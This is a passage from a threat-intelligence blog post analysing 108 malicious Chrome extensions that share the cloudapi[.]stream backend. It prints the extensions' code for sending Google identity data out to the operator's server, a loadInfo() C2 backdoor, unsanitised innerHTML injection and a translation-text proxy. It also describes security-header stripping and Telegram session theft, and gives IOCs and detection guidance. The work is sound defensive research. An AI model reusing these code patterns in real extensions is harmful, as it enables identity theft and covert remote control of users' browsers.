<code>tg[.]cloudapi[.]stream/count_sessions.php</code>, giving the operator a live view of how many active sessions are available.</p><p><strong>Staged Telegram stealer (Teleside):</strong></p><p>A second extension, <code>Web Client for Telegram - Teleside</code> (<a href=\"https://socket.dev/chrome/package/mdcfennpfgkngnibjbpnpaafcjnhcjno\"  target=\"_blank\"><code>mdcfennpfgkngnibjbpnpaafcjnhcjno</code></a>, approximately 1,000 installs), has all the infrastructure for session theft: it strips Telegram&#x27;s CSP, X-Frame-Options, and CORS headers via <code>declarativeNetRequest</code>, injects a content script at <code>document_start</code> on <code>telegram.org</code>, and sets <code>web_accessible_resources: [&quot;*&quot;]</code>. The active theft code is absent from v3.8.0. The extension is based on a trojanized <code>SidebarGPT</code> codebase. The <code>loadInfo()</code> backdoor present in the background script would allow the operator to activate or update the payload without pushing a Chrome Web Store update. Additionally, <code>content-sidebar.html</code> displays an active gambling overlay: a gameSession div set to <code>display:block</code> that serves a full-size banner from <code>multiaccount[.]cloudapi[.]stream/game.html</code> directly over the extension sidebar.</p><h2 id=\"Google-Account-Identity-Harvesting\">\n  Google Account Identity Harvesting\n  <a href=\"#Google-Account-Identity-Harvesting\" class=\"anchor\">#</a>\n</h2><p>54 of the 108 malicious extensions steal the user&#x27;s Google account identity the first time the user clicks the sign-in button. The code is identical across all 54:</p><ol><li><code>chrome.identity.getAuthToken({ interactive: true })</code> acquires a Google OAuth2 Bearer token.</li><li>The extension fetches <code>https://www.googleapis.com/oauth2/v3/userinfo</code> with that token.</li><li>It POSTs <code>{email, name, picture, sub}</code> to <code>https://mines[.]cloudapi[.]stream/auth_google</code>.</li></ol><pre><code class=\"hljs javascript\"><span class=\"hljs-comment\">// popup/auth.js (akebbllmckjphjiojeioooidhnddnplj, and 53 identical copies across the campaign)</span>\n<span class=\"hljs-comment\">// (Russian comment): // Проверка на уже авторизованного пользователя</span>\n<span class=\"hljs-comment\">//   (&quot;Check for already authenticated user&quot;)</span>\n\nloginBtn.<span class=\"hljs-title function_\">addEventListener</span>(<span class=\"hljs-string\">&quot;click&quot;</span>, <span class=\"hljs-title function_\">async</span> () =&gt; {\n  chrome.<span class=\"hljs-property\">identity</span>.<span class=\"hljs-title function_\">getAuthToken</span>({ <span class=\"hljs-attr\">interactive</span>: <span class=\"hljs-literal\">true</span> }, <span class=\"hljs-title function_\">async</span> (token) =&gt; {\n    <span class=\"hljs-comment\">// Analyst note: token is a real Google OAuth2 Bearer token acquired via the</span>\n    <span class=\"hljs-comment\">// chrome.identity API. The user sees a standard Google sign-in prompt.</span>\n    <span class=\"hljs-keyword\">const</span> res = <span class=\"hljs-keyword\">await</span> <span class=\"hljs-title function_\">fetch</span>(<span class=\"hljs-string\">&quot;https://www.googleapis.com/oauth2/v3/userinfo&quot;</span>, {\n      <span class=\"hljs-attr\">headers</span>: { <span class=\"hljs-title class_\">Authorization</span>: <span class=\"hljs-string\">`Bearer <span class=\"hljs-subst\">${token}</span>`</span> }\n    });\n    <span class=\"hljs-keyword\">const</span> profile = <span class=\"hljs-keyword\">await</span> res.<span class=\"hljs-title function_\">json</span>();\n\n    <span class=\"hljs-comment\">// Analyst note: The profile is sent to the threat actor&#x27;s server, not to any</span>\n    <span class=\"hljs-comment\">// legitimate backend for the extension&#x27;s stated functionality.</span>\n    <span class=\"hljs-keyword\">const</span> r = <span class=\"hljs-keyword\">await</span> <span class=\"hljs-title function_\">fetch</span>(<span class=\"hljs-string\">&quot;https://mines[.]cloudapi[.]stream/auth_google&quot;</span>, {\n      <span class=\"hljs-attr\">method</span>: <span class=\"hljs-string\">&quot;POST&quot;</span>,\n      <span class=\"hljs-attr\">headers</span>: { <span class=\"hljs-string\">&quot;Content-Type&quot;</span>: <span class=\"hljs-string\">&quot;application/json&quot;</span> },\n      <span class=\"hljs-attr\">body</span>: <span class=\"hljs-title class_\">JSON</span>.<span class=\"hljs-title function_\">stringify</span>({\n        <span class=\"hljs-attr\">email</span>: profile.<span class=\"hljs-property\">email</span>,\n        <span class=\"hljs-attr\">name</span>: profile.<span class=\"hljs-property\">name</span>,\n        <span class=\"hljs-attr\">picture</span>: profile.<span class=\"hljs-property\">picture</span>,\n        <span class=\"hljs-attr\">sub</span>: profile.<span class=\"hljs-property\">sub</span>   <span class=\"hljs-comment\">// Persistent Google account identifier</span>\n      })\n    });\n  });\n});</code></pre><p>The OAuth token is used locally and never leaves the browser. What reaches the operator&#x27;s server is only a permanent identity record: the victim&#x27;s email, name, and profile picture.</p><p>The <code>sub</code> field is a stable, cross-service Google account identifier that does not change when a user changes their password or email address. Combined with the email and name, it gives the operator a persistent record of each victim&#x27;s Google identity linked to their extension-assigned <code>user_id</code> on the <code>cloudapi[.]stream</code> backend. This does not give the operator access to the victim&#x27;s Google account.</p><p>All 54 extensions use OAuth2 client IDs from only two Google Cloud projects: project <code>1096126762051</code> (31 client IDs) and project <code>170835003632</code> (25 client IDs). 56 unique client IDs across 54 extensions all trace to the same two project numbers, proving a single operator controls all publisher accounts despite five different publisher names on the Chrome Web Store.</p><h2 id=\"Universal-Backdoor:-loadInfo()\">\n  Universal Backdoor: loadInfo()\n  <a href=\"#Universal-Backdoor:-loadInfo()\" class=\"anchor\">#</a>\n</h2><p>45 extensions in the campaign include an identical function in their background script. It runs once on every browser startup:</p><pre><code class=\"hljs javascript\"><span class=\"hljs-comment\">// background.js (present in 45 extensions, confirmed by automated grep across extracted CRX files)</span>\n<span class=\"hljs-comment\">// Analyst note: This runs automatically when Chrome starts and the service worker initializes.</span>\n<span class=\"hljs-comment\">// The server can return any URL to be opened as a new tab in the victim&#x27;s browser.</span>\n<span class=\"hljs-keyword\">async</span> <span class=\"hljs-keyword\">function</span> <span class=\"hljs-title function_\">loadInfo</span>(<span class=\"hljs-params\"></span>) {\n  <span class=\"hljs-keyword\">const</span> response = <span class=\"hljs-keyword\">await</span> <span class=\"hljs-title function_\">fetch</span>(<span class=\"hljs-string\">&quot;https://mines[.]cloudapi[.]stream/user_info&quot;</span>, {\n    <span class=\"hljs-attr\">method</span>: <span class=\"hljs-string\">&quot;POST&quot;</span>,\n    <span class=\"hljs-attr\">headers</span>: { <span class=\"hljs-string\">&quot;Content-Type&quot;</span>: <span class=\"hljs-string\">&quot;application/json&quot;</span> },\n    <span class=\"hljs-attr\">body</span>: <span class=\"hljs-title class_\">JSON</span>.<span class=\"hljs-title function_\">stringify</span>({ <span class=\"hljs-attr\">type</span>: <span class=\"hljs-string\">&#x27;background&#x27;</span>, <span class=\"hljs-attr\">ext</span>: chrome.<span class=\"hljs-property\">runtime</span>.<span class=\"hljs-property\">id</span> })\n  });\n  <span class=\"hljs-keyword\">const</span> result = <span class=\"hljs-keyword\">await</span> response.<span class=\"hljs-title function_\">json</span>();\n  <span class=\"hljs-keyword\">if</span> (result &amp;&amp; result.<span class=\"hljs-property\">success</span> &amp;&amp; result.<span class=\"hljs-property\">infoURL</span>) {\n    chrome.<span class=\"hljs-property\">tabs</span>.<span class=\"hljs-title function_\">create</span>({ <span class=\"hljs-attr\">url</span>: result.<span class=\"hljs-property\">infoURL</span> });\n  }\n}\n<span class=\"hljs-title function_\">loadInfo</span>();</code></pre><p>The operator&#x27;s server receives the extension ID on every browser start. If the response includes <code>infoURL</code>, the extension silently opens that URL in a new tab. There is no restriction on what URL the server can return. This channel survives browser restarts and operates independently of whether the user ever opens the extension.</p><p>In two extensions (Page Locker and Page Auto Refresh), the <code>loadInfo()</code> function is stylistically inconsistent with the surrounding minified code: it uses clean <code>async/await</code> syntax while the rest of the file is minified. This indicates the function was injected after the extension&#x27;s original code was written, consistent with an operator who acquired or repurposed existing extensions and added the backdoor.</p><h2 id=\"innerHTML-Injection\">\n  innerHTML Injection\n  <a href=\"#innerHTML-Injection\" class=\"anchor\">#</a>\n</h2><p>The same <code>user_info</code> response that carries infoURL also drives direct DOM injection across 78 extensions. Every game and casino extension in the campaign includes a <code>userpage.js</code> file that takes two fields from the C2 response and writes them into the page using <code>innerHTML</code> with no sanitization:</p><pre><code class=\"hljs javascript\">  <span class=\"hljs-comment\">// app/userpage.js (present across 78 extensions)</span>\n  <span class=\"hljs-comment\">// Analyst note: result.rating and result.protxt arrive from mines[.]cloudapi[.]stream/user_info.</span>\n  <span class=\"hljs-comment\">// No sanitization before DOM assignment — the C2 can push arbitrary HTML to any user&#x27;s extension page.</span>\n  <span class=\"hljs-keyword\">if</span> (result.<span class=\"hljs-property\">rating</span>) {\n      ratingPlayers.<span class=\"hljs-property\">innerHTML</span> = result.<span class=\"hljs-property\">rating</span>;\n  }\n  <span class=\"hljs-keyword\">if</span> (result.<span class=\"hljs-property\">protxt</span>) {\n      proplansID.<span class=\"hljs-property\">innerHTML</span> = result.<span class=\"hljs-property\">protxt</span>;\n      proplansID.<span class=\"hljs-property\">classList</span>.<span class=\"hljs-title function_\">remove</span>(<span class=\"hljs-string\">&#x27;h_&#x27;</span>);\n  }</code></pre><p><code>result.rating</code> populates the leaderboard panel. <code>result.protxt</code> populates the Pro Plans upsell section and un-hides it. The C2 server can substitute either field with arbitrary HTML, including script blocks, on any visit to the extension&#x27;s UI. This is a distinct injection channel from loadInfo(): where the backdoor opens a new tab, server-controlled content injection rewrites the extension&#x27;s own interface.</p><h2 id=\"Security-Header-Bypass-via-declarativeNetRequest\">\n  Security Header Bypass via declarativeNetRequest\n  <a href=\"#Security-Header-Bypass-via-declarativeNetRequest\" class=\"anchor\">#</a>\n</h2><p>Five extensions use Chrome&#x27;s <code>declarativeNetRequest</code> API to strip security headers from target sites before the page loads. The pattern is identical across all five: remove <code>Content-Security-Policy</code>, <code>X-Frame-Options</code>, and <code>Content-Security-Policy-Report-Only</code>; set <code>Access-Control-Allow-Origin: *</code>; and spoof the <code>User-Agent</code>, <code>Origin</code>, and <code>Referer</code> headers to impersonate the target site itself.</p><p>The five extensions and their targets:</p><ul><li><code>Telegram Multi-account</code> (<code>obifanppcpchlehkjipahhphbcbjekfa</code>): targets <code>web.telegram.org</code>, spoofs User-Agent to iPhone Safari</li><li><code>Teleside</code> (<code>mdcfennpfgkngnibjbpnpaafcjnhcjno</code>): targets <code>web.telegram.org</code>, spoofs User-Agent to iPhone Safari</li><li><code>YouSide</code> (<code>mmecpiobcdbjkaijljohghhpfgngpjmk</code>): targets <code>youtube.com</code>, spoofs User-Agent to Chrome 140</li><li><code>SideYou</code> (<code>bfoofgelpmalhcmedaaeogahlmbkopfd</code>): targets <code>youtube.com</code>, spoofs User-Agent to Chrome 125</li><li><code>Web Client for TikTok</code> (<code>cbfhnceafaenchbefokkngcbnejached</code>): targets <code>www.tiktok.com</code>, spoofs User-Agent to Chrome 125</li></ul><p>All five were confirmed by reading <a href=\"https://socket.dev/chrome/package/mdcfennpfgkngnibjbpnpaafcjnhcjno/files/3.8.0/rules_1.json\"  target=\"_blank\"><code>rules_1.json</code></a> directly from each extracted CRX file.</p><p>YouSide additionally injects a gambling overlay into its sidebar: a <code>gameSession</code> div set to <code>display:block</code> placing a banner ad from <code>multiaccount[.]cloudapi[.]stream/game.html</code> over the YouTube embed.</p><p>The TikTok extension adds a second <code>declarativeNetRequest</code> rule that unconditionally allows all WebSocket connections on all URLs, removing any network-level restriction on WebSocket traffic from TikTok pages. Its content script (<code>sys-content.js</code>) injects a link and image from <code>multiaccount[.]cloudapi[.]stream/game.html</code> into every TikTok page the user visits.</p><p>The <code>ukraine.html</code> file bundled with the TikTok extension serves as its privacy policy. It contains the contact email <code>kiev3381917@gmail[.]com</code> and carries the page title &quot;Privacy Policy - Telegram Sidebar Extension,&quot; a copy-paste artifact from a different extension in the campaign confirming the same author wrote both.</p><h2 id=\"Translation-Proxy\">\n  Translation Proxy\n  <a href=\"#Translation-Proxy\" class=\"anchor\">#</a>\n</h2><p><code>Text Translation</code> (<code>ogogpebnagniggbnkbpjioobomdbmdcj</code>) presents as a standard translation sidebar. When a user registers, the <a href=\"https://socket.dev/chrome/package/ogogpebnagniggbnkbpjioobomdbmdcj/files/1.0.1/main.js\"  target=\"_blank\">extension</a> sends their email and full name to <code>https://api[.]cloudapi[.]stream:8443/Register</code> and receives an API key in return.</p><pre><code class=\"hljs javascript\"><span class=\"hljs-comment\">// main.js</span>\n<span class=\"hljs-comment\">// Analyst note: User email and name are sent to the threat actor&#x27;s server at registration.</span>\n<span class=\"hljs-comment\">// The returned API key is stored in localStorage and attached to every translation request.</span>\n<span class=\"hljs-keyword\">const</span> url = <span class=\"hljs-string\">&#x27;https://api[.]cloudapi[.]stream:8443/Register&#x27;</span>;\n<span class=\"hljs-comment\">// ...</span>\n<span class=\"hljs-variable language_\">localStorage</span>.<span class=\"hljs-title function_\">setItem</span>(<span class=\"hljs-string\">&#x27;settings&#x27;</span>, <span class=\"hljs-title class_\">JSON</span>.<span class=\"hljs-title function_\">stringify</span>({\n    <span class=\"hljs-attr\">email</span>: $(<span class=\"hljs-string\">&quot;#email&quot;</span>).<span class=\"hljs-title function_\">val</span>(),\n    <span class=\"hljs-attr\">name</span>: $(<span class=\"hljs-string\">&quot;#name&quot;</span>).<span class=\"hljs-title function_\">val</span>(),\n    <span class=\"hljs-attr\">key</span>: result_.<span class=\"hljs-property\">key</span>\n}));</code></pre><p><br/></p><p>Every translation request goes through <code>https://api[.]cloudapi[.]stream:8443/Translation</code> with the user&#x27;s API key attached as an <code>X-Key</code> header. The operator&#x27;s server receives the full text of everything the user submits for translation. This extension requests only the <code>sidePanel</code> permission and no host permissions, so it generates no permission warnings during installation.</p><h2 id=\"C2-Infrastructure\">\n  C2 Infrastructure\n  <a href=\"#C2-Infrastructure\" class=\"anchor\">#</a>\n</h2><p>All 108 malicious extensions share the same backend, hosted at <code>144[.]126[.]135[.]238</code> (Contabo GmbH VPS). The domain <code>cloudapi[.]stream</code> was registered on April 30, 2022 through Hosting Ukraine LLC. The server runs a Strapi CMS instance on port 1337 with a PostgreSQL database.</p><p>The confirmed subdomains and their roles:</p><ul><li><code>tg[.]cloudapi[.]stream</code>: Telegram session exfiltration, six endpoints including <code>/save_session.php</code>, <code>/get_sessions.php</code>, <code>/delete_session.php</code>, and <code>/count_sessions.php</code> (7 extensions)</li><li><code>mines[.]cloudapi[.]stream</code>: identity theft via <code>/auth_google</code>, C2 beacon via <code>/user_info</code> (returns <code>infoURL</code> for remote tab-open), user state persistence (used by 94 extensions)</li><li><code>topup[.]cloudapi[.]stream</code>: payment and monetization portal, confirming the MaaS model (linked from 78 extensions)</li><li><code>cdn[.]cloudapi[.]stream</code>: game asset hosting (79 extensions)</li><li><code>multiaccount[.]cloudapi[.]stream</code>: ad injection hub, injected directly into TikTok and other pages (29 extensions)</li><li><code>gamewss[.]cloudapi[.]stream</code>: WebSocket game server on port 8447 (6 extensions)</li><li><code>wheel[.]cloudapi[.]stream</code>: pre-positioned in <code>host_permissions</code> of 76 extensions but not used in any observed code</li><li><code>api[.]cloudapi[.]stream:8443</code>: translation API, user registration and content surveillance (1 extension)</li><li><code>chat[.]cloudapi[.]stream</code>: chat service (5 extensions)</li></ul><p>A secondary domain, <code>top[.]rodeo</code>, is listed in the <code>host_permissions</code> of 71 extensions and used as a game server backend. Two endpoint variants appear in source code: <code>/server/remote.php</code> and <code>/server/remote3.php</code>, both accepting <code>uuid</code> and <code>extension_id</code> parameters. The <code>topup[.]cloudapi[.]stream</code> payment portal and the per-user <code>user_id</code> system confirm this is operated as a Malware-as-a-Service platform. Victims are assigned accounts in the backend CRM, and stolen identities and sessions are accessible to whoever purchases access.</p><figure>\n  <img\n    alt=\" \"\n    loading=\"lazy\"\n    src=\"https://cdn.sanity.io/images/cgdhsj6q/production/068770a9c16346c1d94e5a9e4e1bcc7d47c2cc32-1280x1828.png?w=1600&q=95&fit=max&auto=format\"\n  />\n  <figcaption><p><em>Chrome Web Store listings showing all three developer URLs used across the campaign: <code>https://top[.]rodeo/</code> (Telegram Multi-account and Black Beard Slot Machine), <code>https://webuk[.]tech/</code> (Page Locker), and <code>https://interalt[.]net/</code> (InterAlt).</em></p></figcaption>\n</figure><h2 id=\"Chrome-Web-Store-Policy-Violations\">\n  Chrome Web Store Policy Violations\n  <a href=\"#Chrome-Web-Store-Policy-Violations\" class=\"anchor\">#</a>\n</h2><p><strong>1. Direct CWS privacy declaration contradiction</strong></p><p>Every extension&#x27;s CWS listing contains a boilerplate <a href=\"https://developer.chrome.com/docs/webstore/program-policies/\"  target=\"_blank\">declaration:</a> &quot;This developer declares that your data is not being used or transferred for purposes unrelated to the item&#x27;s core functionality.&quot; The code sending <code>user_id</code> to <code>mines[.]cloudapi[.]stream/user_info</code> on every browser start, harvesting Google identity via <code>auth_google</code>, and opening operator-specified URLs has nothing to do with the stated function of a slot game or Telegram client. This is a verifiable lie in the listing itself, not an interpretation.</p><p><strong>2. Google API Services User Data Policy - Limited Use</strong></p><p>Extensions using <code>chrome.identity.getAuthToken</code> are bound by Google&#x27;s <a href=\"https://developers.google.com/terms/api-services-user-data-policy\"  target=\"_blank\">Limited Use requirements</a>. Profile data obtained via OAuth2 must only be used for the feature the user explicitly triggered. Routing it to a third-party C2 server with no disclosed relationship to the extension is a direct violation regardless of whether the token itself is exfiltrated.</p><p><strong>3. CWS Ads Policy</strong></p><p>Injecting a gambling overlay (<code>multiaccount[.]cloudapi[.]stream/game.html</code>) into the extension UI without any user consent or disclosure in the CWS listing violates the chrome web store <a href=\"https://developer.chrome.com/docs/webstore/program-policies/ads\"  target=\"_blank\">policy</a> requiring that any advertising be clearly disclosed. In Teleside and YouSide, the ad replaces the stated UI entirely.</p><h2 id=\"Attribution\">\n  Attribution\n  <a href=\"#Attribution\" class=\"anchor\">#</a>\n</h2><p>The contact email <code>kiev3381917@gmail[.]com</code> appears in <code>ukraine.html</code>, a privacy policy HTML file bundled with the SideYou extension (<code>bfoofgelpmalhcmedaaeogahlmbkopfd</code>). The same file is reused across extensions: the copy found in <code>Web Client for TikTok</code> carries the title &quot;Privacy Policy - Telegram Sidebar Extension&quot; unchanged, directly linking the two extensions to the same author.</p><p>Three of the seven registered email addresses contain romanization variants of the same string “nadejdin” and “nadiezhdin”: <code>nadejdinv@gmail[.]com</code> (linked to 16 extensions), <code>viktornadiezhdin@gmail[.]com</code> (12 extensions), and <code>slava.nadejdin.kiev@gmail[.]com</code> (2 extensions).</p><p>Code comments in Russian appear in the authentication and session theft code across multiple extensions. In <code>content.js</code> , the comment reads &quot;userId ne najden&quot; (userId not found) and in <code>auth.js</code> , reads &quot;Proverka na uzhe avtorizovannogo pol&#x27;zovatelya&quot; (Check for already authenticated user).</p><figure>\n  <img\n    alt=\" \"\n    loading=\"lazy\"\n    src=\"https://cdn.sanity.io/images/cgdhsj6q/production/4da800d53ec1acb3aec3aea1e40d616fb2e605c8-1280x390.png?w=1600&q=95&fit=max&auto=format\"\n  />\n  <figcaption><p><em>Shodan scan of <code>144[.]126[.]135[.]238</code> confirming Contabo Inc. hosting, ISP Nubes LLC (AS40021), and nine open ports including a Strapi API server on 1337 and PostgreSQL on 5432.</em></p></figcaption>\n</figure><p>Five publisher names on the Chrome Web Store (<code>Yana Project</code>, <code>GameGen</code>, <code>SideGames</code>, <code>Rodeo Games</code>, and <code>InterAlt</code>) all resolve to the same two Google Cloud project numbers: <code>1096126762051</code> and <code>170835003632</code>. This is the strongest single piece of evidence for unified ownership, as 56 unique OAuth2 client IDs across all 54 identity-stealing extensions share only these two project roots.</p><h2 id=\"Impact\">\n  Impact\n  <a href=\"#Impact\" class=\"anchor\">#</a>\n</h2><p>Users who installed any of the 54 identity-stealing extensions and clicked the sign-in button have had their Google email, full name, profile picture URL, and Google account identifier (<code>sub</code>) transmitted to <code>mines[.]cloudapi[.]stream/auth_google</code>. The <code>sub</code> value does not change when a user changes their password or email address.</p><p>Users who installed <code>Telegram Multi-account</code> (<code>obifanppcpchlehkjipahhphbcbjekfa</code>) and opened <code>web.telegram.org</code> while the extension was active have had their Telegram Web session exfiltrated at 15-second intervals. A threat actor with a stolen session can access all messages, contacts, and linked accounts without the user&#x27;s password or two-factor authentication code.</p><p>Any browser with one of the 45 <code>loadInfo()</code> backdoor extensions installed responds to server-issued commands on every browser start, even if the user never opens the extension.</p><p>Across all 108 extensions, approximately 20k installs are on record. The extensions targeting Telegram account for roughly 3,035 of those installs.</p><figure>\n  <img\n    alt=\" \"\n    loading=\"lazy\"\n    src=\"https://cdn.sanity.io/images/cgdhsj6q/production/1acc540626370139a035f2146291702063c9b1a8-1280x720.png?w=1600&q=95&fit=max&auto=format\"\n  />\n  <figcaption><p><code>topup[.]cloudapi[.]stream</code> now serves a RODEO GAMES STUDIO about page describing a Chrome Extension monetization business with &quot;well-thought-out monetization&quot; and listing <code>formatron.service@gmail[.]com</code> as a support contact.</p></figcaption>\n</figure><h2 id=\"Outlook-and-Recommendations\">\n  Outlook and Recommendations\n  <a href=\"#Outlook-and-Recommendations\" class=\"anchor\">#</a>\n</h2><p><strong>For users:</strong></p><ul><li>Search your installed Chrome extensions for any of the extension IDs in the IOC section below and remove them immediately.</li><li>If you used <code>Telegram Multi-account</code> (<code>obifanppcpchlehkjipahhphbcbjekfa</code>) while logged into Telegram Web, log out of all Telegram Web sessions from the Telegram mobile app under Settings &gt; Devices &gt; Terminate all other sessions.</li><li>If you signed into any of the slot game, casino, or sidebar extensions using Google, treat your Google identity as exposed. Review third-party app access at <code>myaccount.google.com/permissions</code> and revoke any unfamiliar entries.</li><li>If you installed <code>Text Translation</code> (<code>ogogpebnagniggbnkbpjioobomdbmdcj</code>) and registered with your email, that email address and name are stored on the threat actor&#x27;s server.</li></ul><p><strong>For security teams:</strong></p><ul><li>Block <code>cloudapi[.]stream</code> and all its subdomains at the network level. The full list is in the IOC section below.</li><li>Block <code>top[.]rodeo</code>.</li><li>Flag Chrome extensions in your environment that declare the <code>identity</code> permission alongside <code>oauth2</code> client IDs from Google Cloud project numbers <code>1096126762051</code> or <code>170835003632</code>.</li><li>The <code>loadInfo()</code> pattern (POST to <code>/user_info</code> on service worker startup with the extension ID, open <code>infoURL</code> from response) is a detectable fingerprint. Scan extension bundles for the combination of <code>user_info</code>, <code>infoURL</code>, and <code>chrome.tabs.create</code>.</li><li><code>declarativeNetRequest</code> rules that remove <code>content-security-policy</code> from named target sites are not standard behavior and warrant review in any extension.</li></ul><p>Socket&#x27;s <a href=\"https://socket.dev/blog/socket-now-protects-the-chrome-extension-ecosystem\"  target=\"_blank\">Chrome extension protection</a> analyzes extension bundles for hidden data flows, undisclosed credential exfiltration, and C2 backdoors, blocking malicious extensions before they reach user endpoints.</p><h2 id=\"MITRE-ATTandCK\">\n  MITRE ATT&amp;CK\n  <a href=\"#MITRE-ATTandCK\" class=\"anchor\">#</a>\n</h2><ul><li>T1176 - Browser Extensions</li><li>T1539 - Steal Web Session Cookie</li><li>T1528 - Steal Application Access Token</li><li>T1041 - Exfiltration Over C2 Channel</li><li>T1071.001 - Application Layer Protocol: Web Protocols</li><li>T1027 - Obfuscated Files or Information</li><li>T1185 - Browser Session Hijacking</li></ul><h2 id=\"Indicators-of-Compromise-(IOCs)\">\n  Indicators of Compromise (IOCs)\n  <a href=\"#Indicators-of-Compromise-(IOCs)\" class=\"anchor\">#</a>\n</h2><h3>Threat Actor Identifiers</h3><h4>Email address</h4><ul><li><code>kiev3381917@gmail[.]com</code></li><li><code>formatron.service@gmail[.]com</code></li><li><code>nashprom.info@gmail[.]com</code></li><li><code>viktornadiezhdin@gmail[.]com</code></li><li><code>support@top[.]rodeo</code></li><li><code>slava.nadejdin.kiev@gmail[.]com</code></li><li><code>nadejdinv@gmail[.]com</code></li></ul><h4>Publisher name</h4><ul><li><code>Yana Project</code></li><li><code>GameGen</code></li><li><code>SideGames</code></li><li><code>Rodeo Games</code></li><li><code>InterAlt</code></li></ul><h3>Project Credentials</h3><ul><li>Google Cloud Project: <code>1096126762051</code></li><li>Google Cloud Project: <code>170835003632</code></li></ul><h3>Network Indicators</h3><ul><li><code>cloudapi[.]stream</code></li><li><code>tg[.]cloudapi[.]stream</code></li><li><code>mines[.]cloudapi[.]stream</code></li><li><code>topup[.]cloudapi[.]stream</code></li><li><code>cdn[.]cloudapi[.]stream</code></li><li><code>multiaccount[.]cloudapi[.]stream</code></li><li><code>wheel[.]cloudapi[.]stream</code></li><li><code>gamewss[.]cloudapi[.]stream</code></li><li><code>api[.]cloudapi[.]stream</code></li><li><code>chat[.]cloudapi[.]stream</code></li><li><code>crm[.]cloudapi[.]stream</code></li><li><code>top[.]rodeo</code></li><li><code>metal[.]cloudapi[.]stream</code></li><li><code>144[.]126[.]135[.]238</code></li><li><code>coin-miner[.]cloudapi[.]stream</code></li><li><code>goldminer[.]cloudapi[.]stream</code></li><li><code>herculessportslegend[.]cloudapi[.]stream</code></li></ul><h3>C2 Endpoints</h3><ul><li><code>tg[.]cloudapi[.]stream/save_session.php</code></li><li><code>tg[.]cloudapi[.]stream/count_sessions.php</code></li><li><code>tg[.]cloudapi[.]stream/get_sessions.php</code></li><li><code>tg[.]cloudapi[.]stream/get_session.php</code></li><li><code>tg[.]cloudapi[.]stream/delete_session.php</code></li><li><code>tg[.]cloudapi[.]stream/save_title.php</code></li><li><code>mines[.]cloudapi[.]stream/auth_google</code></li><li><code>mines[.]cloudapi[.]stream/user_info</code></li><li><code>mines[.]cloudapi[.]stream/slot_test/</code></li><li><code>api[.]cloudapi[.]stream:8443/Register</code></li><li><code>api[.]cloudapi[.]stream:8443/Translation</code></li><li><code>top[.]rodeo/server/remote.php</code></li><li><code>top[.]rodeo/server/remote3.php</code></li><li><code>top[.]rodeo/notify.php</code></li><li><code>cloudapi[.]stream/install/</code></li><li><code>cloudapi[.]stream/uninstall/</code></li></ul><h3>Chrome Extension IDs</h3><ol><li><a href=\"https://socket.dev/chrome/package/obifanppcpchlehkjipahhphbcbjekfa/overview\"  target=\"_blank\"><code>obifanppcpchlehkjipahhphbcbjekfa</code></a> - Telegram Multi-account</li><li><a href=\"https://socket.dev/chrome/package/mdcfennpfgkngnibjbpnpaafcjnhcjno/overview\"  target=\"_blank\"><code>mdcfennpfgkngnibjbpnpaafcjnhcjno</code></a> - Web Client for Telegram - Teleside</li><li><a href=\"https://socket.dev/chrome/package/mmecpiobcdbjkaijljohghhpfgngpjmk/overview\"  target=\"_blank\"><code>mmecpiobcdbjkaijljohghhpfgngpjmk</code></a> - YouSide - Youtube Sidebar</li><li><a href=\"https://socket.dev/chrome/package/bfoofgelpmalhcmedaaeogahlmbkopfd/overview\"  target=\"_blank\"><code>bfoofgelpmalhcmedaaeogahlmbkopfd</code></a> - Web Client for Youtube - SideYou</li><li><a href=\"https://socket.dev/chrome/package/cbfhnceafaenchbefokkngcbnejached/overview\"  target=\"_blank\"><code>cbfhnceafaenchbefokkngcbnejached</code></a> - Web Client for TikTok</li><li><a href=\"https://socket.dev/chrome/package/ogogpebnagniggbnkbpjioobomdbmdcj/overview\"  target=\"_blank\"><code>ogogpebnagniggbnkbpjioobomdbmdcj</code></a> - Text Translation</li><li><a href=\"https://socket.dev/chrome/package/ldmnhdllijbchflpbmnlgndfnlgmkgif/overview\"  target=\"_blank\"><code>ldmnhdllijbchflpbmnlgndfnlgmkgif</code></a> - Page Locker</li><li><a href=\"https://socket.dev/chrome/package/lnajjhohknhgemncbaomjjjpmpdigedg/overview\"  target=\"_blank\"><code>lnajjhohknhgemncbaomjjjpmpdigedg</code></a> - Page Auto Refresh</li><li><a href=\"https://socket.dev/chrome/package/aecccajigpipkpioaidignbgbeekglkd/overview\"  target=\"_blank\"><code>aecccajigpipkpioaidignbgbeekglkd</code></a> - Web Client for Rugby Rush - SideGame</li><li><a href=\"https://socket.dev/chrome/package/akebbllmckjphjiojeioooidhnddnplj/overview\"  target=\"_blank\"><code>akebbllmckjphjiojeioooidhnddnplj</code></a> - Formula Rush Racing Game</li><li><a href=\"https://socket.dev/chrome/package/akifdnfipbeoonhoeabdicnlcdhghmpn/overview\"  target=\"_blank\"><code>akifdnfipbeoonhoeabdicnlcdhghmpn</code></a> - Piggy Prizes - Slot Machine</li><li><a href=\"https://socket.dev/chrome/package/akkkopcadaalekbdgpdikhdablkgjagd/overview\"  target=\"_blank\"><code>akkkopcadaalekbdgpdikhdablkgjagd</code></a> - Slot Arabian</li><li><a href=\"https://socket.dev/chrome/package/alkfljfjkpiccfgbeocbbjjladigcleg/overview\"  target=\"_blank\"><code>alkfljfjkpiccfgbeocbbjjladigcleg</code></a> - Frogtastic</li><li><a href=\"https://socket.dev/chrome/package/alllblhkgghelnejlggmmgjbkdabidie/overview\"  target=\"_blank\"><code>alllblhkgghelnejlggmmgjbkdabidie</code></a> - Black Beard Slot Machine</li><li><a href=\"https://socket.dev/chrome/package/amkkjdjjgiiamenbopfpdmjcleecjjgg/overview\"  target=\"_blank\"><code>amkkjdjjgiiamenbopfpdmjcleecjjgg</code></a> - Indian - Slot Machine</li><li><a href=\"https://socket.dev/chrome/package/amnaljnjmgajgajelnplfmidgjgbjfhe/overview\"  target=\"_blank\"><code>amnaljnjmgajgajelnplfmidgjgbjfhe</code></a> - Mahjong Deluxe</li><li><a href=\"https://socket.dev/chrome/package/bbjdlbemjklojnbifkgameepcafflmem/overview\"  target=\"_blank\"><code>bbjdlbemjklojnbifkgameepcafflmem</code></a> - Crazy Freekick</li><li><a href=\"https://socket.dev/chrome/package/bdnanfggeppmkfhkgmpojkhanoplkacc/overview\"  target=\"_blank\"><code>bdnanfggeppmkfhkgmpojkhanoplkacc</code></a> - Slot Car Racing</li><li><a href=\"https://socket.dev/chrome/package/bgdkbjcdecedfoejdfgeafdodjgfohno/overview\"  target=\"_blank\"><code>bgdkbjcdecedfoejdfgeafdodjgfohno</code></a> - Clear Cache Plus</li><li><a href=\"https://socket.dev/chrome/package/bnchgibgpgmlickioneccggfobljmhjc/overview\"  